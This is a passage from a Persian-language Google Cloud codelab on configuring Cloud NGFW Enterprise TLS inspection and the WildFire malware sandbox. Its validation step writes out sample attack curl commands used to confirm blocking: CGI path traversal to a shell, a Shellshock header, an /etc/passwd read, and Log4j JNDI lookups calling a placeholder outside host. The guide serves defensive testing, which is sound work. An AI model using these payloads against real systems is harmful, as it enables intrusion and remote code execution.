curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
چرا این درخواست ناموفق بود؟ دلیل این امر این است که «دیوار آتش» گواهینامهای از سرور دریافت میکند که قابلاعتماد نیست. اگر این اتفاق بیفتد، گواهینامه خودامضاشدهای را به کارخواه برمیگرداند. باید گواهینامه CA را بهعنوان بخشی از پیکربندی اعتماد اضافه کنیم تا اعتماد فعال شود.
به پوسته ابری برگردید.
۱۱. پیکربندی کردن پیکربندی اعتماد
گواهینامه Root CA را دریافت کنید و آن را بهعنوان متغیری با قالببندی مناسب تنظیم کنید.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
فایل YAML مربوط به «پیکربندی اعتماد» را پیکربندی کنید. این فایل حاوی جزئیات اعتماد مانند گواهینامههای CA است:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
فرمانهای بالا گواهینامه «مرجع صدور گواهی ریشه» شما را بهعنوان بخشی از مخزن گواهیها اضافه کرد زیرا گواهینامه سرور شما بااستفاده از «مرجع صدور گواهی ریشه» امضا شده بود. این یعنی دیواره آتش به هر گواهیای که دریافت میکند و توسط «مرجع صدور گواهی ریشه» شما امضا شده است اعتماد خواهد کرد - علاوهبر «مرجع صدور گواهی عمومی» اگر خطمشی TLS شما excludePublicCaSet را روی نادرست تنظیم کرده باشد.
محتوای پیکربندی اعتماد را بررسی کنید.
cat trust_config.yaml
نمونه برونداد:
به تراز تورفتگی گواهی دقت کنید. باید دقیقاً از این قالب پیروی کند.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
پیکربندی اعتماد را وارد کنید:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
فایل YAML مربوط به «خطمشی امنیت لایه انتقال» را بهروز کنید تا پیکربندی اعتماد را دربرگیرد:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
«خطمشی TLS» بهروزشده را وارد کنید:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
۱۲. درحال اعتبارسنجی بازرسی امنیت لایه انتقال E/W
برای آزمایش ترافیک E/W با پیکربندی اعتماد بهروزشده، دوباره به کارخواه SSH کنید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
درخواست نمونه TLS را به سرور اجرا کنید:
curl https://$target_privateip --max-time 2
اگر همچنان برونداد زیر را دریافت میکنید، لطفاً منتظر بمانید تا بهروزرسانیها منتشر شود.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
خروجی موردانتظار:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
ترافیک آزمایشی مخرب به سرور ارسال کنید:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
خروجی موردانتظار:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
هیچ پاسخی مطابق با خروجی موردانتظار زیر دریافت نمیشود، که تأیید میکند حملات نمونه اکنون برای E/W مسدود میشوند.
۱۳. ثبت
ازطریق «کنسول Cloud»، به «ثبت گزارش > کاوشگر گزارشها» بروید، فیلتر زیر را وارد کنید و گزارشها را پُرسمان کنید. [PROJECT_ID] را با project_id خودتان جایگزین کنید:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
ورودیهای گزارش Cloud NGFW Enterprise باید مشابه موارد زیر دیده شود:

ورودیهای گزارش را ازهم باز کنید و توجه داشته باشید که حملات ارسالشده از ماشین مجازی کارخواه به سرور شناسایی و مسدود شدهاند (آسیبپذیری اجرای کد از راه دور Apache Log4j مطابق با نماگرفت زیر).

Cloud NGFW Enterprise را باموفقیت با «بازرسی امنیت لایه انتقال» برای مسدود کردن درخواستهای مخرب مستقر کردید.
به بخش بعدی بروید تا بهطور اختیاری جعبه امن بدافزار پیشرفته (WildFire) را پیکربندی و اعتبارسنجی کنید، یا از این مرحله رد شوید و به مراحل پاکسازی بروید.
۱۴. [اختیاری] پیکربندی جعبه شنی بدافزار پیشرفته (WildFire)
جعبه امن بدافزار پیشرفته (WildFire) با بازرسی فایلهای درحال انتقال و ارسال فایلهای ناشناخته به جعبه امن مبتنی بر ابر (با پشتیبانی Palo Alto Networks Advanced WildFire) برای تجزیهوتحلیل عمیق رفتاری، پیشگیری از تهدید Cloud NGFW Enterprise را گسترش میدهد.
پذیرفتن «قرارداد پروانه کاربر نهایی» (EULA) برای «جعبه شنی بدافزار پیشرفته»
قبلاز فعال کردن جعبه امن بدافزار پیشرفته در نقطه پایانی دیواره آتش، باید «قرارداد صدور پروانه کاربر نهایی» (EULA) یکباره را در پروژه صورتحساب ($billing_project) مرور و قبول کنید. EULA را فقط میتوان در «کنسول Google Cloud» قبول کرد: به امنیت شبکه > نقاط پایانی دیواره آتش بروید، نقطه پایانی $prefix-$zone را ویرایش کنید، فعال کردن جعبه امن بدافزار پیشرفته (WildFire) را در بخش پیکربندی پیشرفته انتخاب کنید، و روی موافقت و ادامه کلیک کنید.
فعال کردن «جعبه شنی بدافزار پیشرفته» در «نقطه پایانی دیواره آتش»
فعال کردن «جعبه شنی بدافزار پیشرفته» در نقطه پایانی دیوار آتشین $prefix-$zone موجود بااستفاده از gcloud network-security firewall-endpoints update:
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
مطمئن شوید که «جعبه امن بدافزار پیشرفته» در نقطه پایانی دیواره آتش فعال باشد:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
برونداد موردانتظار (wildfireSettings: enabled: true و state: ACTIVE را درستیسنجی کنید):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
ایجاد و پیکربندی WILDFIRE_ANALYSIS نمایه امنیتی
نمایه امنیتی «جعبه شنی بدافزار پیشرفته» (WILDFIRE_ANALYSIS) با نام $prefix-sp-wildfire ایجاد کنید:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
خروجی موردانتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
سپس، یک قانون ارسال ناهمگام اضافه کنید تا فایلهای APK را در هر دو جهت بارگذاری و بارگیری ارسال کند (--direction=BOTH):
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
خروجی موردانتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
نمایه امنیتی WILDFIRE_ANALYSIS پیکربندیشده را بررسی کنید:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
خروجی موردانتظار:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
بهروزرسانی «گروه نمایه امنیتی» ($prefix-spg)
برای پیوست کردن $prefix-sp-wildfire، $prefix-spg را بهروز کنید:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
خروجی موردانتظار:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
چون «قانون خطمشی دیوار آتش» 900 (EGRESS ازطریق tcp:443 با --action=apply_security_profile_group و --tls-inspect) ازقبل به $prefix-spg ارجاع میدهد، بارگیریهای فایل HTTPS رمزگذاریشده که از $prefix-$zone-client شروع شدهاند بهطور خودکار توسط بازرسی TLS رمزگشایی میشوند و توسط جعبه امن بدافزار پیشرفته بدون نیاز به هیچگونه تغییر قانون خطمشی دیوار آتش ارزیابی میشوند.
۱۵. [اختیاری] اعتبارسنجی ارسال فایل و جرمشناسی جعبه شنی بدافزار پیشرفته
آزمایش ارسال جعبه شنی ناهمگام و فیلتر کردن نوع فایل
ازطریق Identity-Aware Proxy (IAP) به VM کارخواه ($prefix-$zone-client) متصل شوید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
از VM کارخواه، فایل آزمایشی عمومی Palo Alto Networks APK را ازطریق HTTPS بارگیری کنید:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
سپس، فایل آزمایشی عمومی Palo Alto Networks ELF را ازطریق HTTPS بارگیری کنید:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
چون قانون ارسال ما در $prefix-sp-wildfire فقط فایلهای APK (--file-types=APK) را هدف قرار میدهد، دیوار آتش فایل ELF را به جعبه امن بدافزار پیشرفته ارسال نمیکند.
از پایانه ماشین مجازی کارخواه خارج شوید و به Cloud Shell برگردید.
درستیسنجی WildfireSubmissionLog در Cloud Logging
ازطریق «کنسول Cloud»، به «ثبت گزارش» > «کاوشگر گزارشها» بروید، فیلتر زیر را وارد کنید و گزارشها را پُرسمان کنید. [PROJECT_ID] را با project_id خودتان جایگزین کنید:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
پساز تکمیل تجزیهوتحلیل جعبه شنی (معمولاً ظرف چند دقیقه)، ورودی WildfireSubmissionLog برای بارگیری فایل APK ظاهر میشود، درحالیکه هیچ گزارش ارسالی برای بارگیری فایل ELF تولید نمیشود (اگر پساز چند دقیقه هیچ ورودی گزارشی ظاهر نشد، منتظر بمانید تا پنجره انتشار ۱۵ دقیقهای «گروه نمایه امنیتی» تکمیل شود و بارگیری curl را دوباره اجرا کنید). ورودی گزارش را ازهم باز کنید و توجه داشته باشید که پایهبار JSON آن مشابه موارد زیر است:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
به فیلدهای کلیدی در wildfireDetails توجه کنید:
fileType: "APK"وsubtype: "WILDFIRE"تجزیهوتحلیل جعبه امن ناهمگام انتقالAPKرا تأیید میکنند.fileنام فایلی است که سرور (wildfire-test-apk-file.apk) ارائه کرده است و ممکن است با نام فایل محلی استفادهشده باcurl -oمتفاوت باشد.hashخلاصه SHA-256 یکتای نمونه آزمایشی را شناسایی میکند.-
verdictوseverityبا تجزیهوتحلیل جعبه امن تعیین میشوند. reportUriوsampleUriپیوندهای مستقیم برای بازیابی گزارش تحلیل پویا و نمونه ارسالشده ارائه میدهند.
مشاهده ارسال و بارگیری مصنوعات قانونی
ازطریق «کنسول Cloud» به «امنیت شبکه > گزارشهای NGFW Enterprise > ارسالهای جعبه امن بدافزار پیشرفته» بروید و پروژهتان را انتخاب کنید. روی ورودی wildfire-test-apk-file.apk کلیک کنید تا جزئیات ارسال، ازجمله درهمسازی SHA-256 فایل، حکم، و نقطه پایانی دیوار آتش را مشاهده کنید. از کنشهای بیشتر برای ارسال، میتوانید بارگیری گزارش تجزیهوتحلیل را برای بارگیری گزارش تجزیهوتحلیل پویای PDF، یا بارگیری نمونه بدافزار را برای بارگیری فایل ارسالشده انتخاب کنید.
میتوانید گزارش تحلیل و نمونه را از Cloud Shell بااستفاده از مقادیر reportUri و sampleUri از ورودی WildfireSubmissionLog بارگیری کنید:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
۱۶. مراحل پاکسازی
پاکسازی راهاندازی پایه
نمونهها را بردارید:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
اگر نقشهای tagAdmin و tagUsers تغییر کردهاند، مراحل زیر را انجام دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
کلید و مقادیر برچسب را بردارید:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
«خطمشی شبکه دیوار آتش ابری» و ارتباط را بردارید:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router و Cloud NAT را حذف کنید:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
حذف نشانیهای IP رزروشده:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
پاکسازی TLS، انجمن، و SPG دیوار آتش ابری
«گروه نمایه امنیتی» و «نمایههای امنیتی» را بهترتیب زیر حذف کنید (اگر بخش اختیاری «جعبه امن بدافزار پیشرفته» را تکمیل کردهاید، فرمان حذف $prefix-sp-wildfire را نیز پساز حذف $prefix-spg اجرا کنید):
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
رابطه نقطه پایان Cloud Firewall را حذف کنید:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
نقطه پایانی Cloud Firewall را حذف کنید، که ممکن است حدود ۲۰ دقیقه طول بکشد:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
درصورت تمایل، با اجرای فرمان زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
وضعیت نقطه پایانی باید اینطور نشان داده شود:
STATE: DELETING
وقتی تکمیل شد، نقطه پایانی دیگر فهرست نخواهد شد.
«خطمشی TLS» و «پیکربندی اعتماد» را بهترتیب زیر حذف کنید:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
غیرفعال و حذف کردن Root CA و CA Pool:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
پاکسازی زیرشبکه و VPC
درنهایت، زیرشبکه و شبکه VPC را حذف کنید:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
۱۷. تبریک!
تبریک میگوییم، codelab مربوط به Cloud NGFW Enterprise برای بازرسی امنیت لایه انتقال شرق-غرب و شمال را باموفقیت تکمیل کردید.